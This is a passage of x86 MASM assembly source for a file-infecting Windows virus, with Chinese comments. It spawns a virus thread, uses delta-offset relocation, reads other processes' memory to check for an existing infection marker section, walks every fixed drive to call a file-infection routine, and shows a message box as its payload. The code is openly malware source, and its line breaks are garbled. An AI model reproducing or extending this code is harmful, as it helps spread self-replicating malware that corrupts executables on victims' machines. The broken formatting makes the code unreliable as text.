lea eax, [ebx + _VirusThread]
invoke [ebx + _CreateThread], NULL, 0,
eax, 0, 0, 0 ;创建新的线程
jmp _ToOldEntry
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;关于_dwAlign 对齐
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Align proc _dwSize, _dwAlign
push edx
mov eax, _dwSize
xor edx, edx
div _dwAlign ;除于 _dwAlign,
eax ->商, edx ->余数
.if edx ;如果有余数
inc eax ;商 + 1
.endif
mul _dwAlign ;乘于 _dwAlign
-> 对齐
pop edx
ret
_Align
endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;*******************************
病毒执行的代码
********************************
_VirusThread proc uses ebx edi esi lParam
;病毒的线程
LOCAL @dwTemp
LOCAL @hSnapshot
LOCAL @stProcess32:PROCESSENTRY32
LOCAL @lpPEHeaderInfo[1024]:byte
LOCAL @dwDriveNum
;********************* 代码重定位 **************************
call @F
@@:
pop ebx
sub ebx,offset @B
;***********************************************************
;**************** 在内存中扫描病毒是否启动 *****************
mov @stProcess32.dwSize, sizeof
PROCESSENTRY32
invoke [ebx + _Create32Snapshot],
TH32CS_SNAPPROCESS, 0 ;进程快照
.if eax
mov @hSnapshot, eax
invoke [ebx + _Process32First],
@hSnapshot, addr @stProcess32
.repeat
call [ebx + _GetCurrentProcessId]
.if @stProcess32.th32ProcessID != eax
invoke [ebx + _ReadProcessMemory],
@stProcess32.th32ProcessID, 00400000H,\
addr @lpPEHeaderInfo, 1024, addr
@dwTemp
lea esi, @lpPEHeaderInfo
assume esi: ptr IMAGE_DOS_HEADER
add esi, [esi].e_lfanew
assume esi: ptr IMAGE_NT_HEADERS
movzx ecx, [esi].FileHeader.NumberOfSections
;内存程序节的个数
mov @dwTemp, ecx
add esi, sizeof IMAGE_NT_HEADERS ;节表
assume esi: ptr IMAGE_SECTION_HEADER
.while ecx
push eax
lea eax, [ebx + szSectionName1]
invoke [ebx + _lstrcmp], addr
[esi].Name1 , eax;
.if !eax
ret
.endif
add esi, sizeof IMAGE_SECTION_HEADER
dec @dwTemp
mov ecx, @dwTemp
pop eax
.endw
.endif
invoke [ebx + _Process32Next],
@hSnapshot, addr @stProcess32
.until eax == FALSE
.endif
;***********************************************************
;*********************** 感染其他文件 **********************
lea eax, [ebx + szBuffer]
invoke [ebx + _GetDriveStrings], 4*26,
eax
lea esi, [ebx + szBuffer ]
.repeat
invoke [ebx + _GetDriveType], esi
.if eax == DRIVE_FIXED
mov byte ptr [esi + 2], 0
invoke _FindFile1, esi
.endif
add esi, 4
.until !byte ptr[esi]
;***********************************************************
;********************** 病毒的功能 *************************
lea eax, [ebx + offset szMsgCaption1]
lea ecx, [ebx + offset szMsgText1]
invoke [ebx + _MessageBox], NULL, ecx,
eax, NULL
;***********************************************************
_Ret:
ret
_VirusThread endp